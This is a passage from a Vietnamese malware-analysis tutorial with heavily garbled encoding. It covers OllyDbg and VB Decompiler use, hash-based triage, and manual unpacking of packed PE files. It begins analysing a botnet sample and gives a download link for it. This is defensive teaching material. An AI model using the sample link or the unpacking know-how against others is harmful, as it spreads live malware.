 Link download http://www.vb-decompiler.org/ 

 NhҼ ta Ľ« viԒt c§c chҼҺng tr³nh trong Visual Basic c· thԜ ĽҼ֯c d֗ch 

thành p-code( m« giӶ) Ľ« ĽҼ֯c d֗ch hoԊc th¨nh code g֝c. KԜ tַ khi p-

code bao g֟m nhiԚu l֓nh cӸp Ľ֥ cao th³ Ľ« c· m֥t khӶ nŁng thֽc sֽ ĽԜ 

d֗ch ngҼ֯c n· th¨nh m« ngu֟n. V³ vԀy ta cӺn VB Decomplier m֥t tr³nh 

d֗ch ngҼ֯c cho c§c chҼҺng tr³nh ĽҼ֯c viԒt tr°n chҼҺng tr³nh Visual 

Basic( EXE,DLL hoԊc OCX) ĽԜ kh¹i phֱc nhiԚu l֓nh p-code. Ngoài ra 

m֥t b֥ ph©n t²ch m« gi¼p t³m kiԒm tӸt cӶ c§c chҼ֧ng g֙i chֵc nŁng API 

v¨ tham chiԒu chu֣i trong m« ĽҼ֯c ph©n t§c v¨ r֟i thay Ľ֡i ch¼ng th¨nh 

c§c di֑n giӶi cho c§c chu֣i ph©n t²ch. N· l¨ c¹ng cֱ cӺn thiԒt nԒu nhҼ 

mӸt m« ngu֟n v¨ cӺn kh¹i phֱc lӴi. 

http://www.vb-decompiler.org/
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Hình 4-23: VB Decomplier 

 Ngoài các c¹ng cֱ Ľ« kԜ tr°n vӾn c¸n nhiԚu loӴi c¹ng cֱ kh§c ĽԜ phֱc 

vֱ cho vi֓c cho vi֓c ph©n t²ch tǫnh. 

  һu ĽiԜm phҼҺng ph§p ph©n t²ch tǫnh n¨y cho ta xem ĽҼ֯c code ĽԜ 

xem m« Ľ֥c hӴi l¨m g³ chֵ kh¹ng cӺn phӶi chӴy tr°n ngay h֓ th֝ng, hiԜu 

ĽҼ֯c r» nhӸt cȈng nhҼ biԒt ĽҼ֯c c§c hoӴt Ľ֥ng ch²nh x§c cֳa m« Ľ֥c hӴi 

l¨ l¨m g³. Tuy nhi°n ĽԜ thֽc hi֓n ĽҼ֯c phҼҺng ph§p n¨y Ľ¸i h֛i ngҼ֩i 

ph©n t²ch phӶi hiԜu r» vԚ lԀp tr³nh v¨ h֓ th֝ng. 

4.1.8 Công cֱ  Ollydebug 

4.1.8.1 Giαi thiΜu chung  

PhӺn mԚm n¨y gi¼p ngҼ֩i ph©n t²ch c· thԜ debug, xem qu§ tr³nh chӴy 

tַng bҼ֧c cֳa chҼҺng tr³nh. 

 Dowload phӺn mԚm tӴi trang http://www.ollydbg.de/ 
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4.1.8.2 Các chοc nŁng c̭ bnͩ 

ņӺu ti°n ngҼ֩i ph©n t²ch load file v¨o trong ollydbg ta sԐ ĽҼ֯c giao di֓n 

chҼҺng tr³nh nhҼ sau: 

 

 

Hình 4-24 Giao di֓n l¨m vi֓c Ollydbg 

 (1)   The Dissembler Window: ֫ cֹa s֡ n¨y ta nh³n thӸy c§c ĽoӴn 

chҼҺng tr³nh ֫ dӴng asm c½ng v֧i nhֻng l֩i giӶi th²ch cho c§c ĽoӴn m« 

asm. 

 (2)  The Registry Window: Ľ©y l¨ cֹa s֡ chֵa th¹ng tin chi tiԒt vԚ c§c 

thanh ghi ,c§c c֩ trӴng th§i. 

 (3)  The Stack Window: hiԜn th֗ trӴng th§i cֳa stack, lҼu dֻ tӴm th֩i 

c§c dֻ li֓u v¨ Ľ֗a ch֕. 

 (4)  The Dump Window: cֹa s֡ hiԜn th֗ n֥i dung cֳa b֥ nh֧ hoԊc file, 

cֹa s֡ n¨y cho ph®p ta t³m kiԒm thֽc hi֓n c§c chֵc nŁng ch֕nh sֹaé 

 C§c t½y ch֙n v֧i View 

 View->log (cֹa s֡ L) cho ch¼ng ta biԒt th¹ng tin m¨ Olly ghi lӴi. Theo 

mԊc Ľ֗nh cֹa s֡ n¨y sԐ lҼu th¹ng tin vԚ c§c module, import libarary 

hoԊc c§c Plugins ĽҼ֯c load c½ng chҼҺng tr³nh tӴi th֩i ĽiԜm ĽӺu ti°n khi 
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load chҼҺng tr³nh v¨o Olly, c½ng v֧i ghi lӴi c§c th¹ng tin vԚ BP. V¨ 1 

chֵc nŁng nֻa l¨ khi ta mu֝n lҼu lӴi th¹ng tin vԚ file Log ta ch֕ viԒc 

nhӸp chu֥t phӶi trong cֹa s֡ L v¨ ch֙n Log to file 

 View-> Executable module( cֹa s֡ E) cֹa s֡ ĽҼa ra danh s§ch nhֻng 

file c· khӶ nŁng thֽc thi ĽҼ֯c chҼҺng tr³nh sֹ dֱng nhҼ file exe, dlls, é 

View->Memory ( cֹa s֡ M) cֹa s֡ n¨y cho ta biԒt th¹ng tin vԚ b֥ nh֧ 

Ľang ĽҼ֯c sֹ dֱng. TӴi cֹa s֡ n¨y ch¼ng ta c· thԜ sֹ dֱng t²nh nŁng 

search ĽԜ t³m kiԒm th¹ng tin vԚ c§c string, c§c ĽoӴn hexa cֱ thԜ hay 

unicodeé th°m v¨o Ľ· c½ng cӸp cho ch¼ng ta nhֻng kiԜu thiԒt ĽԊt BP 

kh§c nhau tӴi section. 

View-> Threads ( cֹa s֡ T) li֓t k° c§c thread cֳa chҼҺng tr³nh. 

View->window( cֹa s֡ W) ĽԜ m֫ cֹa s֡ Window. 

View-> Handles( cֹa s֡ H) ĽԜ m֫ cֹa s֡ Handles. 

  

Hình 4-25:Menu View 

View->CPU( cֹa s֡ C) cֹa s֡ Ľang l¨m vi֓c hi֓n tӴi. 

View->Patches( cֹa s֡ /) cֹa s֡ n¨y cho ch¼ng ta biԒt th¹ng tin vԚ 

nhֻng g³ m¨ ch¼ng ta Ľ« edit trong chҼҺng tr³nh. 

View-> Call stack( cֹa s֡ K) hiԜn th֗ m֥t danh s§ch c§c l֓nh Call m¨ 

chҼҺng tr³nh cֳa ch¼ng ta Ľ« thֽc hi֓n khi ch¼ng ta Run bԄng F9 v¨ 

d½ng F12 ĽԜ tӴm dַng chҼҺng tr³nh. 
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View-> Breakpoint( cֹa s֡ B) hiԜn th֗ tӸt cӶ c§c BP m¨ ch¼ng ta ĽԊt 

trong chҼҺng tr³nh. N· sԐ hiԜn th֗ nhֻng BP ĽҼ֯c set bԄng F2 c¸n Ľ֝i 

v֧i nhֻng dӴng BP kh§c nhҼ HWBP v¨ Memory BP sԐ kh¹ng hiԜn th֗. 

View-> References( cֹa s֡ R) hiԜn thi kԒt quӶ khi thֽc hi֓n chֵc nŁng 

search trong Olly. 

 C§c t½y ch֙n Ľ֝i v֧i Debug 

 F9( Run)  khi nhӸn olly sԐ t³m xem co breakpoint n¨o ĽҼ֯c set kh¹ng, 

chҼҺng tr³nh c· tung ra c§c exception g³ kh¹ng, hay nԒu chҼҺng tr³nh c· 

cҺ chԒ ch֝ng debug th³ sԐ terminate ngay lԀp tֵc. 

  

Hình 4-26:  Menu Debug 

  F12( Pause)  tӴm dַng chҼҺng tr³nh. 

 Ctrl-F9( Execute till return) c©u l֓nh sԐ dַng lӴi ֫ RET 

 Alt -F9( Execute till user code) khi trong quá trình ph©n t²ch b֗ lӴc v¨o 

s©u b°n trong trong khi debug th³ ta sԐ d½ng chֵc nŁng n¨y ĽԜ ĽҼa ta vԚ 

v֗ tr² hi֓n tӴi. 

 F7( step into) thֽc thi trace tַng d¸ng l֓nh, trong qu§ r³nh trace gԊp 

l֓nh Call sԐ nhӶy v¨o b°n trong l֓nh Call v¨ thֽc thi l֓nh b°n trong Call, 

khi n¨o gԊp return sԐ tr֫ vԚ chҼҺng tr³nh ch²nh. 

 F8( step over) thֽc thi trace tַng d¸ng l֓nh nhҼng kh§c v֧i F7 l¨  khi 

gԊp l֓nh Call n· sԐ kh¹ng nhӶy v¨o b°n trong trҼҺng tr³nh m¨ dַng lӴi 

ngay ֫ c©u l֓nh tiԒp theo dҼ֧i l֓nh Call. 

 T½y ch֙n Plugins 
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 Plugins-> Ollydump-> dump debugged process dump m֥t v½ng nh֧ 

trong process. 

 Option-> Debugging Option( Alt-O) theo mԊc Ľ֗nh chon auto start 

analysis th³ chҼҺng tr³nh khi ĽҼ֯c load v¨o sԐ ĽҼ֯c Olly tiԒn h¨nh ph©n 

t²ch v¨ ĽҼa ra c§c comment th²ch h֯p. NԒu kh¹ng ch֙n chֵc nŁng auto 

start analysic th³ ch¼ng ta sԐ phӶi thֽc hi֓n manual sau khi chҼҺng tr³nh 

ĽҼ֯c load v¨o. 

 Chu֥t phӶi v¨o cֹa s֡ Disassambler c· c§c t½y ch֙n Ľang ch¼ Ĩ sau: 

 Binary->edit thay Ľ֡i gi§ tr֗ trong hex dump 

 Goto->expression( Ctrl+G) ĽҼa ta ĽԒn Ľ֗a ch֕ ta cӺn. 

 Goto->previous quay tr֫ lӴi call sau khi ch֙n follow 

 New origin here( Ctrl+ Gray*) ĽҼa chҼҺng tr³nh ĽԒn thֽc hi֓n ֫ m֥t 

Ľ֗a ch֕ kh§c tӴi v֗ tr² m¨ ta ch֙n Crtl+Gray* 

 Follow( enter) cho ph®p ta xem c©u l֓nh trong call ,m¨ bӶn thân nó 

kh¹ng hԚ thֽc thi bӸt k³ c©u l֓nh n¨o cֳa chҼҺng tr³nh. 

 Follow in dump cho ta xem gi§ tr֗ tӴi v² tr֗ ta ch֙n trong cֹa s֡ dump. 

ņԜ t³m kiԒm c§c function hay string trong ollydebug: 

V֧i c§c function ta ch֙n search for->all intermodular calls, hay 

ch֙n go to-> expression to fllow v¨ nhԀp t°n h¨m v¨o b°n trong. 

 V֧i t³m kiԒm c§c string ta ch֙n search for-> all referenced text string   

 Tַ vi֓c t³m kiԒm c§c h¨m v¨ chu֣i ta sԐ ĽԊt m֥t BreakPoint( BP) tӴi Ľ· 

nhҼ m֥t ĽiԜm Ľ§nh dӸu cho ta thֽc hi֓n chҼҺng tr³nh . ņԊt BreakPoint 

ĽҼ֯c chia ra l¨m c§c loӴi sau: Common BreakPoint, Memory BreakPoint, 

Hardware BreakPoint,Conditional. 

 Common BP ta ĽԊt bԄng c§ch t³m ĽԒn  function hoԊc string r֟i nhӸn F2, 

hoԊc ĽԊt th¹ng qua command. Olly sԐ lҼu dֻ ĽiԜm ĽԊt BP n¨y tӴi cֹa s֡ 

BreakPoint  ta c· thԜ m֫ cֹa s֡ n¨y ra ĽԜ kiԜm tra. Vi֓c ĽԊt BP ֫ tr°n 

ch֕ Ľ֝i v֧i nhֻng opcode kh¹ng b֗ thay Ľ֡i trong su֝t qu§ tr³nh thֽc 

hi֓n chҼҺng tr³nh. 
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Hình 4-27: T½y ch֙n Ľ§ng ch¼ Ĩ trong cֹa s֡ Disassembler 

 Memory BP vi֓c ĽԊt BP n¨y §p dֱng cho nhֻng opcodes c· thԜ b֗ thay 

Ľ֡i v¨ Olly h֣ tr֯ ch¼ng ta 2 kiԜu ĽԊt BP n¨y tr°n memory l¨ Breakpoint 

Memory on access và BreakPoint Memory on write. BreakPoint 

Memory on access vi֓c ĽԊt BP n¨y l°n m֥t v½ng nh֧ sԐ cho ph®p ta 

dַng thֽc thi chҼҺng tr³nh khi c· bӸt k³ sֽ thֽc thi n¨o, Ľ֙c hay ghi Ľ¯ 

l°n v½ng dֻ li֓u m¨ ta ĽԊt BP. BreakPoint Memory on write dַng 

chҼҺng tr³nh thֽc thi khi c· bӸt k³ dֻ li֓u n¨o ĽҼ֯c ghi l°n v½ng nh֧ m¨ 

ĽԊt BP. Vi֓c ĽԊt BP tӴi memory sԐ kh¹ng ĽҼ֯c lҼu dֻ th¹ng tin tӴi cֹa 

s֡ BreakPoint. Olly ch֕ cho ĽԊt duy nhӸt 1 Bp tӴi memory n°n khi ĽԊt 

Bp thֵ 2 v¨o th³ Bp 1 sԐ tֽ ĽҼ֯c remove. 

 Hardware BreakPoint( HWBP) ta c· thԜ ĽԊt ĽҼ֯c 4 HWBP nhiԚu hҺn 

so v֧i memory breakpoint  tӴi m֥t th֩i ĽiԜm ch֕ ĽԊt ĽҼ֯c BP, kh¹ng sֹ 

dֱng ngԂt INT3 m¨ sֹ dֱng ngԂt INT1. HWBP ĽҼ֯c h֣ tr֯ trֽc tiԒp b֫i 

CPU v¨ sֹ dֱng m֥t s֝ thanh ghi ĽԊc bi֓t g֙i là debug registry. Chúng 

ta sֹ dֱng HWBP b֫i v³ n· kh¹ng l¨m thay Ľ֡i c§c ĽoӴn m«, stack. 

Ch¼ng cȈng kh¹ng l¨m chԀm t֝c Ľ֥ thֽc hi֓n. Ch¼ng ta ĽԊt HWBP tӴi 

Ľ· nhҼng kh¹ng thӸy dӸu hi֓u n¨o chֵng t֛ l¨ Ľ« ĽԊt cӶ, n°n ĽԜ kiԜm tra 

xem ta ĽԊt n· ֫ Ľ©u ch֙n debug-> Hardware 3 Breakpoint.V֧i HWBP 

on write v¨ HWBP on access th³ ta ch֕ cӺn b¹i Ľen byte, word, Dword 

t½y Ĩ mu֝n ֫ cֹa s֡ dump, sau Ľ· ĽԊt BP. 
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 Conditional Breakpoint( shift+F2) cȈng gi֝ng BP th¹ng thҼ֩ng, tuy 

nhi°n vi֓c ĽԊt Conditional BP phӶi th֛a m«n m֥t ĽiԚu ki֓n Ľ« ĽҼ֯c thiԒt 

lԀp tַ trҼ֧c. Ta Ӹn ch֙n BP-> Conditional  nhԀp v¨o ĽiԚu ki֓n b°n trong 

¹ Ľ·. ņҼ֯c lҼu trong bӶng Breakpoint. 

 Conditional log Breakpoint( shift+F4) cȈng gi֝ng nhҼ conditional BP 

nhҼng n· c· th°m t½y ch֙n cho ph®p ta lҼu vԒt gi§ tr֗ cֳa biԜu thֵc hoԊc 

c§c tham s֝ funtion m֣i khi xӶy ra Bp hoԊc khi th֛a m«n ĽiԚu ki֓n m¨ ta 

y°u cӺu. Nhֻng th¹ng tin lҼu dӸu vԒt n¨y sԐ ĽҼ֯c lҼu tӴi Log(L) cֳa 

Olly. 

 

4.2 K׃ thuԀt ph©n t²ch sҺ b ֥

Ph©n t²ch sҺ b֥ l¨ bҼ֧c ĽӺu ti°n khi tiԒn h¨nh ph©n t²ch ph©n t²ch tǫnh : 

Quá trình này  xem xét kiԜm tra cӸu tr¼c cֳa file m« Ľ֥c ĽԜ c· ĽҼ֯c 

th¹ng tin sҺ lҼ֯c. 

Sֹ dֱng c§c bҼ֧c sau : 

- Qu®t qua c§c chҼҺng tr³nh virus ĽԜ x§c Ľ֗nh m« Ľ֥c hӴi. 

- Sֹ dֱng gi§ tr֗ bŁm ĽԜ Ľ֗nh danh virus. 

- Thu thԀp th¹ng tin tַ cӸu tr¼c cֳa file (c§c headers é), c§c h¨m 

nhԀp/xuӸt v¨ c§c chu֣i ĽҼ֯c sֹ dֱng trong chҼҺng tr³nh m« Ľ֥c. 

- Sֹ dֱng tַ c§c engine qu®t virus cֳa c§c h«ng : 

- http://www.virustotal.com 

- http://virusscan.jotti.org/vn  

- http://www.virscan.org/ 

http://www.virscan.org/
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- ņ֗nh danh malware th¹ng qua c§c h¨m bŁm : MD5, SHA-1, SHA-

2  

- Chia sԎ th¹ng tin giֻa c§c h«ng bӶo mԀt, c§c chuy°n gia ph©n t²ch 

(virus trading) é 
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-  

-  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- Thông qua m« hash x®t xem file Ľ« ĽҼ֯c Ľ֗nh danh hay chҼa. 

- Tools : md5sum hoԊc md5deep 

- Li֓t k° c§c chu֣i k² tֽ c· trong chҼҺng tr³nh : 

- C· c§i nh³n kh§i qu§t vԚ c§c t²nh nŁng hoӴt Ľ֥ng cֳa malware. 
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- KiԜm tra cӸu tr¼c file thֽc thi (PE File Format) ĽԜ x§c Ľ֗nh : 

- ChӴy tr°n nԚn tӶng h֓ ĽiԚu h¨nh n¨o (32bits, 64bits é). 

- L¨ file thֽc thi, thҼ vi֓n li°n kԒt Ľ֥ng hay driver. 

- C§c thҼ vi֓n, c§c h¨m ĽҼ֯c import, export (nԒu l¨ thҼ vi֓n li°n 

kԒt Ľ֥ng). 

 

4.3 Phân tích giӶi nén các mӾu 

4.3.1 BӶo v֓  m« Ľc֥ bԄng phҼҺng ph§p n®n mӾu 

 NhҼ Ľ« tr³nh b¨y vԚ cӸu tr¼c PE cֳa c§c file tr°n Win, ta c· thԜ m¹ tӶ 

c§c file ĽҼ֯c pack nhҼ trong h³nh vԐ. 

                      

Hình 96 File PE khi b֗ pack 

 File ĽҼ֯c pack c· cӸu tr¼c nhҼ m֥t b¼p b° ma ti ri u ska cֳa Nga,v֧ i 

file ch²nh chֵa file packed data ï l¨ file g֝c ĽҼ֯c n®n, m« h·a. 

 Packed file vӾn l¨ m֥t file PE c· cӸu tr¼c b³nh thҼ֩ng. ThҼ֩ng hoӴt 

Ľ֥ng nhҼ sau: 

 BҼ֧c 1, Load thֽc thi tַ Entry Point nhҼ b³nh thҼ֩ng v֧i c§c section 

chֵa code, import. 

 BҼ֧c 2,Trong unpacker code cֳa trҼ֩ng tr³nh thֽc hi֓n lҼu c§c gi§ tr֗ 

cֳa c§c thanh ghi, c֩ ... r֟i thֽc hi֓n giӶi m«, giӶi n®n, viԒt lӴi File nhҼ 

trҼ֧c khi b֗ pack tַ v½ng nh֧ chֵa file Ľ« ĽҼ֯c n®n, m« h·a ï Packed 

data. 

 BҼ֧c 3, TiԒp tֱc thֽc hi֓n vi֓c lӸy Ľ֗a ch֕ cֳa các windows API, tֽ 

ĽiԚn lӴi c§c Ľ֗a ch֕ n¨y lӴi ĽԜ ho¨n ch֕nh import table cֳa file vַa ĽҼ֯c 
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gӶi m« tӴi v½ng nh֧ chֵa Packed-data ( ֪ c§c file th¹ng thҼ֩ng vi֓c n¨y 

ĽҼ֯c windows thֽc hi֓n tֽ Ľ֥ng khi file ĽҼ֯c load v¨o b֥ nh֧. Quá 

tr³nh n¨y thҼ֩ng sֹ dֱng c§c API nhҼ GetProcAddress, LoadLibraryA 

é). 

 BҼ֧c 4, Tַ section code sԐ thֽc hi֓n phֱc h֟i lӴi c§c thanh ghi r֟i 

jump ĽԒn EntryPoint (OEP) cֳa file m֧i ĽҼ֯c phֱc h֟i tַ packed-data. 

 Minh h֙a sau khi bҼ֧c 2 thֽc hi֓n xong ta c·: 

         Section chֵa Packed-data v֧i k²ch thҼ֧c b¨nh trҼ֧ng. 

         Khi ĽҼ֯c giӶi n®n/m«                  

           

Hình 4-28:  Khi ĽҼ֯c giӶi n®n 

 Ngo¨i ra trong bҼ֧c 2 unpacker code c¸n c· thԜ thֽc hi֓n nhiԚu thֳ 

ĽoӴn kiԜm tra xem c· b֗ debug kh¹ng, kiԜm tra xem Ľang chӴy trong m¹i 

trҼ֩ng Ӷo hay thֽc, r֟i thֽc hi֓n Ľ§nh lӴc hҼ֧ng, cӶn tr֫ c¹ng vi֓c unpack, 

ĽiԚu tra. k 

4.3.2 GiӶi nén mӾu m« Ľc֥  

 C· nhiԚu phҼҺng ph§p ĽԜ unpack m֥t file nhҼ: 

 Cách1: Ph©n t²ch h¨m giӶi m«/ giӶi n®n sau Ľ· tֽ giӶi m« c§c th¹ng tin 

vԚ file trҼ֧c khi b֗ pack trong packed-data. Kh¹i phֱc lӴi file gӺn nhҼ 

nguy°n g֝c. 

  C§ch 2 t³m Ľ֗a ch֕ Entrypoint cֳa file g֝c (OEP) Break point hoԊc 

trace dӺn ĽԜ debuger dַng lӴi tӴi Ľ֗a ch֕ n¨y Dump b֥ nh֧ cֳa process 

n¨y, r֟i thֽc hi֓n vi֓c tӴo lӴi bӶng IAT ph½ h֯p v֧i file m֧i. 
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  C§ch 3 x§c Ľ֗nh packer nԒu l¨ c§c packer ph֡ biԒn c· thԜ t³m kiԒm 

ĽҼ֯c c§c trҼ֩ng tr³nh tֽ Ľ֥ng unpack. 

 ֪  Ľ©y ta sֹ dֱng phҼҺng §n 2 l¨ ch²nh do n· ĽҺn giӶn hҺn, an to¨n hҺn.  

 Load chҼҺng tr³nh v¨o tr³nh Debug (֫ Ľ©y ta d½ng OllyDebug). 

 BҼ֧c 1: T³m kiԒm, X§c Ľ֗nh OEP 

 Cách 1: OEP thҼ֩ng ĽҼ֯c nhӶy ĽԒn bԄng m֥t l֓nh Jump Far( Ľ¹i khi l¨ 

m֥t cԊp l֓nh push OEP address ï ret ). TrҼ֧c l֓nh jump n¨y thҼ֩ng l¨ 

ĽoӴn kh¹i phֱc lӴi c§c thanh ghi, xóa các thanh ghi cֳa unpacker code, 

ph²a tr°n m֥t ch¼t nֻa thҼ֩ng l¨ ĽoӴn code thֽc hi֓n t§i tӴo lӴi import 

table cֳa file g֝c. Ta c· thԜ x§c Ľ֗nh c§c v֗ tr² n¨y bԄng c§c c§ch nhҼ ĽԊt 

break point tӴi c§c Ľ֗a ch֕ cֳa c§c gi§ tr֗ lҼu trong c§c thanh ghi, ņԊt 

break point tӴi các hàm loadlibrary, getprocaddress. 

 V² dֱ khi unpack UPX packer ta ĽԊt hard ware tӴi Ľ֗a ch֕ chֵa gi§ tr֗ ֫ 

Ľ֕nh stack, khi phֱc h֟i lӴi c§c thanh ghi ĽԜ chuӼn b֗ nhӶy ĽԒn OEP 

chҼҺng tr³nh sԐ pause lӴi, l¼c n¨y ta d֑ d¨ng nh³n thӸy l֓nh jump ĽԒn 

OEP. 

  Cách 2: Dֽa v¨o vi֓c ĽԊt c§c Break Point vào các hàm Virtual Alloc 

(ph©n quyԚn lӴi cho c§c v½ng nh֧ ). ņԜ x§c Ľ֗nh c§c v½ng nh֧ ĽҼ֯c 

ph©n quyԚn tַ Ľ©y c· thԜ suy ra sau khi giӶi m«/ giӶi n®n file ĽҼ֯c write 

lӴi v¨o Ľ©u. R֟i sau Ľ· ta c· thԜ kh¹i phֱc lӴi tַ c§c v½ng nh֧ n¨y th¨nh 

file g֝c.ņԊt memory break point tӴi section m¨ file ĽҼ֯c write v¨o. Dֽa 

v¨o vi֓c ĽԒn s֝ lӺn b֗ pause cho ĽԒn khi file run ho¨n to¨n ĽԜ x§c Ľ֗nh 

OEP. 

 BҼ֧c 2: Dump Execute Memory Image. ņԊt break Point ĽԜ chҼҺng 

tr³nh dַng lӴi tӴi OEP. D½ng c§c tool nhҼ Plugin OllyDump cֳa Ollydbg 

hoԊc Lord PE, PE tool ĽԜ dump, sֹa lӴi EP cֳa file sau khi dump thành 

OEP cho chính xác. 

 BҼ֧c 3: X©y dֽng lӴi import table. Sֹ dֱng ImportREC ĽԜ x©y dֽng 

lӴi import table. 

 Các file pack thҼ֩ng c· c§c chֵc nŁng tֽ kiԜm tra xem n· c· b֗ chӴy 

tr°n tr³nh debug n¨o kh¹ng, c· b֗ sֹa Ľ֡i gì không ... VӸn ĽԚ n¨y sԐ 

ĽҼ֯c tr³nh b¨y ֫ c§c phӺn tiԒp theo. 
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4.5 Phân tích sֹ  d nֱg k׃ thuԀt d c֗h ngҼc֯  

 Ph©n t²ch 1 file mӾu : CONF4.exe 

 Link Download mӾu: http://dl.dropbox.com/u/47379175/conf4.zip 

 Load vào trong Exeinfo PE: 

 

Hình 4-29 Quan sát thông tin cֳa mӾu m« Ľc֥ hӴi 

 Sau khi load xong Exeinfo PE cho biԒt file ĽҼ֯c giӶ sign ( chֻ k² ĽԜ 

kh¹ng b֗ ph§t hi֓n b֫i complier packer, b֫i c§c chҼҺng tr³nh check 

sign) 

 Th¹ng tin chi tiԒt thu ĽҼ֯c nhҼ sau: 

 SHA256: 

c09b262b940d22c7f0b6956aee0949a640db66616bf70e4cdf6b1e7eae068

28 

 File name: conf4.exe 

 Detection ratio: 25 / 44 

 Analysis date: 2012-11-04  

 File n¨y l¨ m֥t Spy/ Bot Net Ľ« b֗ 25/44 tr³nh di֓t virus cҺ bӶn tr°n 

virus total x§c Ľ֗nh. 

 https://www.virustotal.com/file/1c09b262b940d22c7f0b6956aee0949

a640db66616bf70e4cdf6b1e7eae06828/analysis/1352017991/ 

 Thֹ t³m kiԒm v֧i Hash cֳa file tr°n google kh¹ng thu ĽҼ֯c kԒt quӶ n¨o 

cӶ, nhҼ vԀy file v֧i hash n¨y chҼa c· kԒt quӶ ph©n t²ch n¨o cӶ. 

 Ta tiԒn h¨nh kiԜm tra. 

 ņҼa v¨o m§y Ӷo, Load v֧i OllyDbg. 

https://www.virustotal.com/file/1c09b262b940d22c7f0b6956aee0949a640db66616bf70e4cdf6b1e7eae06828/analysis/1352017991/
https://www.virustotal.com/file/1c09b262b940d22c7f0b6956aee0949a640db66616bf70e4cdf6b1e7eae06828/analysis/1352017991/
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 Xem memorymap c§c section, chҼҺng tr³nh Ľang dַng ֫ entrypoint. 

Ch֕ c· m֥t l֓nh mov Ľ֗a ch֕ v¨ jump ĽҺn giӶn. C§c section tҼҺng Ľ֝i 

gi֝ng v֧i ng¹n ngֻ Delphi ngoӴi trַ section .End  ֫cu֝i c½ng. NhҼ vԀy 

ta x§c Ľ֗nh Malware Ľ« thay Ľ֡i entry point xu֝ng m֥t section m֧i ֫ 

cu֝i ĽԜ ngŁn kh¹ng cho c§c chҼҺng tr³nh t³m kiԒm info tìm complier, 

c§c infoé HoԊc Ľ§nh lַa c§c antivirus. 

 

Hình 4-30  Xem memorymap các section 

 Edit lӴi Entry Point vԚ 3348 (403348 ï Image Base). Ta kiԜm tra lӴi v¨ 

thӸy 

 

Hình 4-31  KiԜm tra lӴi sau khi edit Entrypoint v֧ i Exeinfo PE 

 Nh³n v¨o ta thӸy n· ĽҼ֯c viԒt bԄng Borland Delphi. 

 LӸy ngay ĽҼ֯c th¹ng tin vԚ complier, rӸt c· thԜ chҼҺng tr³nh kh¹ng 

ĽҼ֯c pack. Ta chuyԜn sang load bԄng IDA. IDA dַng ngay ֫ entrypoint. 




























































































